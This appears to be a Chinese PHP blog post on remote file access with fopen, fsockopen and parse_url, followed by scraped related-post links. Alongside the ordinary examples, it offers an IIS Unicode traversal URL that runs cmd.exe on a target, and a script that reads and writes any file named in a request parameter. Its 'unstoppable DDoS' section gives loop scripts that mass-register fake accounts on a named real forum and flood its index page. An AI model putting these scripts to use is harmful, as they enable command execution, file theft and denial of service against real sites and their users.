一、 介绍

只要在 php.ini 文件中激活了 allow_url_fopen 选项,您可以在大多数需要用文件名作为参数的函数中使用 HTTP 和 FTP URL 来代替文件名。同时,您也可以在 include()、include_once()、require() 及 require_once() 语句中使用 URL。PHP 所支持协议的更多信息参见 附录 J。

注: 要在 PHP 4.0.3 及其以后版本中使用 URL,您需要用 --enable-url-fopen-wrapper 参数来配置 PHP。 Windows 版本的 PHP 4.3 版之前不支持以下函数的远程访问:include(),include_once(),require(),require_once() 以及 参考 XLI, 图像函数库 扩展库中的 imagecreatefromXXX 函数。
例如,您可以用以下范例来打开远程 WEB 服务器上的文件,解析您需要的输出数据,然后将这些数据用在数据库的检索中,或者简单地将其输出到您网站剩下内容的样式匹配中。

例子 x. fopen() 例子
<?php
$handle = fopen ("/home/rasmus/file.txt", "r");
$handle = fopen ("/home/rasmus/file.gif", "wb");
$handle = fopen ("http://www.example.com/", "r");
$handle = fopen ("ftp://user:password@example.com/somefile.txt", "w");
?>
例子 X. 获取远程文件的标题
<?php
$file = fopen ("http://www.example.com/", "r");
if (!$file) {
echo "<p>Unable to open remote file.\n";
exit;
}
while (!feof ($file)) {
$line = fgets ($file, 1024);
/* This only works if the title and its tags are on one line */
if (eregi ("<title>(.*)</title>", $line, $out)) {
$title = $out[1];
break;
}
}
fclose($file);
?>
如果您用有合法的访问权限,以一个用户的身份和某 FTP 服务器建立了链接,您还可以向该 FTP 服务器端的文件进行写操作。您仅能用该方法来创建新的文件;如果您尝试覆盖已经存在的文件,fopen() 函数的调用将会失败。

要以“anonymous”以外的用户名连接服务器,您需要指明用户名(甚至密码),例如“ftp://user: password@ftp.example.com/path/to/file”。(如果通过 HTTP 协议访问远程文件时需要基本身份认证,您也可以用使用的语法。)

例子 X. 远程服务端的数据存储
<?php
$file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w");
if (!$file) {
echo "<p>Unable to open remote file for writing.\n";
exit;
}
/* Write the data here. */
fputs ($file, $_SERVER['HTTP_USER_AGENT'] . "\n");
fclose ($file);
?>
注: 您或许可以从以上范例中得到启发,用该技术来存储远程日志文件。但是正如以上提到的,在用 fopen() 方式打开的 URL 中,您仅能对新文件进行写操作。如果远程文件已经存在 fopen() 函数的操作将会失败。要进行类似的分布式日志操作,您可以参考 syslog() 函数。

在下面的内容里,我将以更多的实例描述这种功能的应用。

二、PHP中的POST&GET的应用

要使用PHP的POST&GET,可以运用fsockopen函数:

例子 1. fsockopen() Example
<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {echo "$errstr ($errno)<br />\n";
} else {$out = "GET / HTTP/1.1\r\n";$out .= "Host: example.com\r\n";$out .= "Connection: Close\r\n\r\n";fputs($fp, $out);while (!feof($fp)) {echo fgets($fp, 128);}fclose($fp);
}
?> 
例子 2. Using UDP connection
<?php
$fp = fsockopen("udp://127.0.0.1", 13, $errno, $errstr);
if (!$fp) {echo "ERROR: $errno - $errstr<br />\n";
} else {fwrite($fp, "\n");echo fread($fp, 26);fclose($fp);
}
?> 
例子 3
<?php
//定义一些连接参数
$urls = array(
'host'=>'localhost',
'port'=>80,
'path'=>'/index.php',
'method'=>'POST',
'protocol'=>'1.0',
);
//POST方法传递的参数
$ps = array(
'language'=>'php',
'linux'=>'redhat',
);
//GET方法传递的参数
$gs = array(
'php'=>5,
'redhat'=>9
);
/**
返回:得到POST或GET方法后返回的字符串(string)
参数:$usls : string$ps : array$gs : array
调用方法:getData($urls,$ps,'') //使用POST方法getData($urls,'',$gs) //使用GET方法
参考资料:http://cn.php.net/manual/en/function.fsockopen.php
*/
function getData($urls,$ps='',$gs=''){$host = $urls['host'];$port = $urls['port'];$path = $urls['path'];$method = $urls['method'];$protocol = $urls['protocol'];$posts = '';$gets = '';if(is_array($ps)){foreach($ps as $k => $v){$posts .= urlencode($k)."=".urlencode($v).'&';}$posts = substr($posts,0,-1);$len = strlen($posts);}if(is_array($gs)){foreach($gs as $k => $v){$gets .= urlencode($k)."=".urlencode($v).'&';}$gets = substr($gets,0,-1);}$fp = fsockopen($host, $port,$errno,$errstr,3);if(!$fp){echo "can't connect...\r\n<br>Error:$errstr";return ;}fputs($fp, "$method $path?$gets HTTP/$protocol\r\n");fputs($fp, "Host: localhost\r\n");if($posts != ''){fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");fputs($fp, "Content-Length: $len\r\n");fputs($fp, "\r\n");fputs($fp, $posts);}fputs($fp, "Connection: Close\r\n\r\n");$s = '';do{$data = fgets($fp,1024);if($data == '') {break;}$s .= $data;} while(true);fclose($fp);return $s;
}
//这里是使用POST方法取得目标网页返回的字符串
echo getData($urls,$ps,'');
//如果要使用GET方法就用如下方式:
echo getData($urls,'',$gs);
?>
三、UNICODE漏洞攻击

代码:
<?php
$fp=@fopen($url,"r") or die ("cannot open $url");
while($line=@fgets($fp,1024)) {
$contents.=$line;
}
echo $contents; //显示文件内容
fclose($fp); //关闭文件
?>
使用:
/XXXX.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir
四、WEB间文件转移:

该例子的代码引自PHP FLAME:
<?php
$fp = fopen($_GET['filename'], 'rb');
$data = $tmp = '';
while ( true ) {
$tmp = fgets($fp, 1024);
if ( 0 === strlen($tmp) ) {
break;
}
$data .= $tmp;
}
fclose($fp);
$file=preg_replace("/^.+\//","",$filename);
//write
$fp = fopen("$file", 'wb');
fwrite($fp, $data);
fclose($fp);
?>
五、HTTP代理(http://jsw.china12e.com/600/)

代码引自PHP FLAME:
<?
$url = getenv("QUERY_STRING");
if(!ereg("^http",$url))
{
echo "example:<br>xxx.php?http://jsw.china12e.com/<;br>";
exit;
}
if($url)
$url=str_replace("\\","/",$url);
$f=@fopen($url,"r");
$a="";
if($f)
{
while(!feof($f))
$a.=@fread($f,8000);
fclose($f);
}
$rooturl = preg_replace("/(.+\/)(.*)/i","\\1",$url);
$a = preg_replace("/(src[[:space:]]*=['\"])([^h].*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(src[[:space:]]*=)([^h'\"].*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(action[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(action[[:space:]]*=)([^h'\"].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(<a.+?href[[:space:]]*=['\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(<a.+?href[[:space:]]*=[^'\"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(link.+?href[[:space:]]*=[^'\"])(.*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(link.+?href[[:space:]]*=['\"])(.*?)/is","\\1$rooturl\\2",$a);
echo $a;
?>
六:不可阻挡DDOS攻击

DDOS的一个例子
<?php
$url="http://bbs.icehack.com/register.php?step=2&addpassword=aaaaaa&addpassword2=aaaaaa&addemail=asdfasd@dfsadsf.com&addusername=";
for($i=1131;$i<=1150;$i++)
{
$urls=$url.$i;
$f=@fopen($urls,"r");
$a=@fread($f,10);
fclose($f);
}
?>
运行后论坛将新增20个用户
(例子:http://bbs.icehack.com/userlist.php?page=827)
当把它用在论坛的搜索中时
DDOS攻击就实现了
以下的代码攻击INDEX.PHP文件,同时运行十个进程时,可能时论坛关闭
<?php
$url="http://bbs.icehack.com/index.php?addusername=";
for($i=1131;$i<=1180;$i++)
{
$urls=$url.$i;
$f=@fopen($urls,"r");
$a=@fread($f,10);
fclose($f);
}
?>
完整URL地址:
http://username:password@hostname/path?arg=value#auchor

协议:http://
用户名和密码: username:password  以:将两者分隔
主机名:hostname @和/为分隔符
路径: /path 以/开头、包含/符号
参数键值对: arg=value&arg1=value1 ?和#为分隔符、每对键值对之间用&分隔
锚:auchor  以#开头

用parse_url()获取相关信息

$url = "http://www.electrictoolbox.com/php-extract-domain-from-full-url/";
$parts = parse_url($url); //
Array ( [scheme] => http [host] => www.electrictoolbox.com [path] => /php-extract-domain-from-full-url/ ) 
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);//Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
) 
可以看到,可以很容易分解出一个URL的各个部,那如果要拿指定的部分出来的话也很容易,如
echo parse_url($url, PHP_URL_PATH);
就是在第二个参数中,设定如下的参数:
PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PORT, PHP_URL_USER, PHP_URL_PASS, PHP_URL_PATH, PHP_URL_QUERY or PHP_URL_FRAGMENT.

七、最后还有一个
if ( !function_exists( 'fopen_url' ) )
{function fopen_url($url) { $file_content = '';if (function_exists('file_get_contents')) $file_content = @file_get_contents($url); elseif (ini_get('allow_url_fopen') && ($file = @fopen($url, 'rb'))){ $i = 0; while (!feof($file) && $i++ < 1000) $file_content .= strtolower(fread($file, 4096)); fclose($file); } elseif (function_exists('curl_init')) { $curl_handle = curl_init(); curl_setopt($curl_handle, CURLOPT_URL, $url); curl_setopt($curl_handle, CURLOPT_CONNECTTIMEOUT,5); curl_setopt($curl_handle, CURLOPT_RETURNTRANSFER,1); curl_setopt($curl_handle, CURLOPT_FAILONERROR,1); curl_setopt($curl_handle, CURLOPT_USERAGENT, 'Trackback Spam Check'); $file_content = curl_exec($curl_handle); curl_close($curl_handle); } return $file_content; }
}
关联:

浏览器模拟器(BrowserEmulator)

PHP获取远程文件内容相关推荐

  1. php curl 采集文件,curl获取远程文件内容

    /** 获取远程文件内容 @param $url 文件http地址 */ function fopen_url($url) { if (function_exists('file_get_conten ...

  2. 获取远程文件内容之浏览器模拟器(BrowserEmulator)

    出于安全的考虑,常常会关闭fopen, file_get_contents, 也就是会把 allow_url_fopen设置为OFF,如果想要继续使用这些函数,就可以用到这个类. <?php/* ...

  3. php 读写远程文件内容,php获取远程文件内容的函数

    一个简单的php获取远程文件内容的函数代码,兼容性强.直接调用就可以轻松获取远程文件的内容,使用这个函数也可获取图片.代码如下: /** * 读远程内容 * @return string */ fun ...

  4. java 读取 远程文件_利用JAVA获取远程文件及使用断点续传 供学习者使用

    闲来没事,就做做,程序还是要多写才好@ 原理不说,文件方面及I/O方面,去BAIDU一下就知道,断点续传的原理也很简单,就是在原来已经下载的基础之上继续下载就可以了,用到了这么关键的一句:urlc.s ...

  5. Java 获取远程文件的大小

    我们应该如何获取远程文件的大小的呢? 代码如下 import java.net.URL; import java.net.URLConnection;public class Main {public ...

  6. 利用JAVA获取远程文件及使用断点续传 供学习者使用

    分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 闲来没事 ...

  7. linux下qt浏览word文件内容,Qt获取office文件内容

    Qt获取office文件内容 需要获取word文件的文件内容.网上找了好久,大部分都是excel的.而word的很少.所以在这里记录一下,方便大家查阅和自己使用. 使用的Qt版本是5.4.2 . 下面 ...

  8. scp命令获取远程文件

    一.scp是什么? scp是secure copy的简写,用于在Linux下进行远程拷贝文件的命令,和它类似的命令有cp,不过cp只是在本机进行拷贝不能跨服务器,而且scp传输是加密的,可能会稍微影响 ...

  9. php 获取远程文件mine,使用CertUtil.exe下载远程文件

    使用CertUtil.exe下载远程文件 1.前言 经过国外文章信息,CertUtil.exe下载恶意软件的样本. 2.实现原理 Windows有一个名为CertUtil的内置程序,可用于在Windo ...

最新文章

  1. 美多商城之用户中心(收货地址2)
  2. RAID 与 LVM 磁盘阵列技术
  3. 伍哥原创之安装nginx,mysql,php-fpm,redis
  4. TCP、UDP以及HTTP的简单讲解
  5. 解决zip包安装python pip的安装问题
  6. 主流开源开发者工具落地阿里云,进一步提升开发者体验
  7. C++ 一个字符串只包含K和D。K表示杀人,D表示死亡。计算连续杀敌次数,阵亡则归零。
  8. java web 生命周期_JavaWeb的生命周期
  9. Error creating bean with name ‘fastJsonpResponseBodyAdvice‘ defined in URL xxx
  10. 【Spark Summit EU 2016】Glint: Spark的异步参数服务器
  11. freetype字体位图转距离场_关于freetype的移植和其官方demos的使用总结
  12. Android游戏SQL注入,关于Android contentprovider sql注入问题
  13. 插桩 java_Javassist进行方法插桩
  14. DHCP 报文结构和类型
  15. 【树莓派 + 深度学习 + Python】从零开始做一个你画AI猜的小游戏
  16. 计算机网络说明文,《Wi-Fi》初中说明文阅读题及答案
  17. 【小程序】IDEA实现qq邮件的发送
  18. NYOJ:71-独木舟上的旅行
  19. 小米笔记本用来开发java_小米笔记本 Pro用来编程怎么样?
  20. JVM 栈分配与TLAB

热门文章

  1. python爬取网上文章_python 爬取微信文章
  2. excel批量更改超链接_excel超链接应用:快速生成目录的几个方法-上
  3. android h5 ftp,HBuilderX ftp插件使用教程
  4. visual studio2019的安装以及使用
  5. pytorch1.7教程实验——分类器训练
  6. gc.collect()==>python的强制垃圾收集机制(不建议使用强制回收,因为可能导致错误)
  7. 太原理工微型计算机控制试卷,太原理工大学微机原理考试(13届葬仪落整理).docx...
  8. mysql触发器如何获取当前表名_Mysql如何获取中位数
  9. MMdetection安装使用(1)
  10. vantUI 自定义引入iconfont图标(3种风格)- 案例篇